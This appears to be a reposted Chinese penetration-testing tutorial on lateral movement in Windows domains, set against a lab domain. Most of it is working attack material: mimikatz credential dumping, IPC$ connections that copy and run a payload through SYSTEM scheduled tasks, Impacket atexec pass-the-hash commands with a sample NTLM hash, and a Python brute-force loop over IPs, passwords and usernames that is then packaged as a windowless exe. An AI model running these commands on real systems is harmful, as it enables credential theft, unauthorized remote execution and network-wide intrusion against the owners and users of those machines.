1. 程式人生 > 其它 >2.域橫向批量at&schtasks&impacke

2.域橫向批量at&schtasks&impacke

0x01.前提條件

已知目標系統的使用者明文密碼的基礎上 , 直接在遠端主機上執行命令

本節的知識點是先搞清楚協議 , 然後擴充套件協議可以利用的點 , 再使用基於協議的第三方工具包 , 實戰應用

0x02.橫向滲透明文傳遞at&schtasks

1.ipc$

其本質就是IPC$空連線加上計劃任務上線遠端主機

在拿下一臺內網主機後,通過本地資訊蒐集收集使用者憑證等資訊後,如何橫向滲透拿下更多的主機?

這裡僅介紹 at&schtasks 命令的使用,在已知目標系統的使用者明文密碼的基礎上,直接可以在遠端主 機上執行命令。 獲取到某域主機許可權->minikatz 得到密碼(明文,hash)->用到資訊收集裡面域使用者的列表當做使用者 名字典->用到密碼明文當做密碼字典-》嘗試連線->建立計劃任務(at|schtasks)->執行檔案可為後門或者相關命令

利用流程

1. 建立 IPC 連結到目標主機
2. 拷貝要執行的命令指令碼到目標主機
3. 檢視目標時間,建立計劃任務(at、schtasks)定時執行拷貝到的指令碼
4. 刪除 IPC 連結

常用命令

net use      檢視當前機器已建立的連線
net view 192.168.1.2  # 檢視對方共享
net use \\192.168.1.2\ipc$ "ggg.com123!" /user:euweb   # 工作組
net use \\192.168.1.2\ipc$ "WIN.com123!" /user:hacker\win7   # 域內
dir \\192.168.1.2\C$\ # 檢視檔案列表
copy \\192.168.1.2\C$\1.bat 1.bat # 下載檔案
copy 1.bat \\192.168.1.2\C$ # 複製檔案
net use \192.168.1.2\ipc$ /del # 刪除 IPC$連線

建立 IPC 常見的錯誤程式碼

(1)5:拒絕訪問,可能是使用的使用者不是管理員許可權,需要先提升許可權
(2)51:網路問題,Windows 無法找到網路路徑
(3)53:找不到網路路徑,可能是 IP 地址錯誤、目標未開機、目標 Lanmanserver 服務未啟動、有
防火牆等問題
(4)67:找不到網路名,本地 Lanmanworkstation 服務未啟動,目標刪除 ipc$
(5)1219:提供的憑據和已存在的憑據集衝突,說明已建立 IPC$,需要先刪除
(6)1326:賬號密碼錯誤
(7)1792:目標 NetLogon 服務未啟動,連線域控常常會出現此情況
(8)2242:使用者密碼過期,目標有賬號策略,強制定期更改密碼

建立 IPC 失敗的原因

(1)目標系統不是 NT 或以上的作業系統
(2)對方沒有開啟 IPC$共享
(3)對方未開啟 139、445 埠,或者被防火牆遮蔽
(4)輸出命令、賬號密碼有錯誤

2.at&schtasks

at < Windows2012

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 連線:
copy mm.exe \\192.168.3.21\c$ #拷貝執行檔案到目標機器
at \\192.168.3.21 15:47 c:\mm.exe #新增計劃任務

schtasks >=Windows2012

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 連線:
copy add.bat \\192.168.3.32\c$ #複製檔案到其 C 盤
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn mm /sc DAILY /tr c:\mm.exe /F #建立 adduser 任務對應執行檔案
schtasks /run /s 192.168.3.32 /tn mm /i           #執行 mm 任務
schtasks /delete /s 192.168.3.21 /tn mm /f        #刪除 mm 任務

0x03.橫向滲透明文HASH傳遞 atexec-impacket

atexec是基於前面的at協議開發的一款第三方工具

優點 : 使用簡單

缺點 : 可能會被殺軟識別

常用命令

atexec.exe ./administrator:[email protected] "whoami"        # 工作組
atexec.exe god/administrator:[email protected] "whoami"  # 域內
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"   # 工作組
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami" # 域內

0x04.橫向滲透明文HASH傳遞批量利用-綜合版

操作流程

1.使用mimikatz獲取明文密碼privilege::debugsekurlsa::logonpasswords2.使用dos命令探測存活主機for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" >> ips.txt3.編寫批處理檔案,批量操作# 批量檢測ip對應明文連線for /F %%I in (ips.txt) DO net use \\%%i\ipc$ "Admin12345"net use 檢視建立的連線有哪些# 批量檢測ip對應的使用者密碼+明文回顯for /F %%I in (ips.txt) DO atexec.exe ./administrator:Admin12345@%%i "whoami" # 批量檢測明文密碼對應ip回顯for /F %%I in (pass.txt) DO atexec.exe ./administrator:%%[email protected] "whoami" # 批量檢測hash對應ip回顯for /F %%I in (hash.txt) DO atexec.exe -hashes:%%i ./[email protected] "whoami" 

0x05.橫向滲透明文HASH傳遞批量利用-升級版

雖然是上面的方法已經實現了批量 , 但是有一個缺點就是每次只能控制一個變數 , 但是我們收集到的密碼, ip , 域使用者是三個變數 , 能不能一次實現對三個變數的檢測???

python指令碼

import osimport timeips = [    "192.168.3.11",    "192.168.3.21",    "192.168.3.31",    "192.168.3.32",    "192.168.3.23",]passes = [    'admin12345',     'admin',     'admin666',]users = [    'admin',    'adminstrator',    'mssql',    'dbadmin',]for i in ips:    for j in passes:        for u in users:            exec1 = f"net use \\\\{i}\ipc$ {j} /user:god\\{u}"            exec2 = f"net use \\\\{i}\ipc$ {j} /user:./{u}"            print(f"<=={exec1}==>")            print(f"<=={exec2}==>")            os.system(exec1)            os.system(exec2)            time.sleep(0.5)

然後將以上程式碼打包成exe

pip3 install pyinstallerpyinstaller -F -w demo.py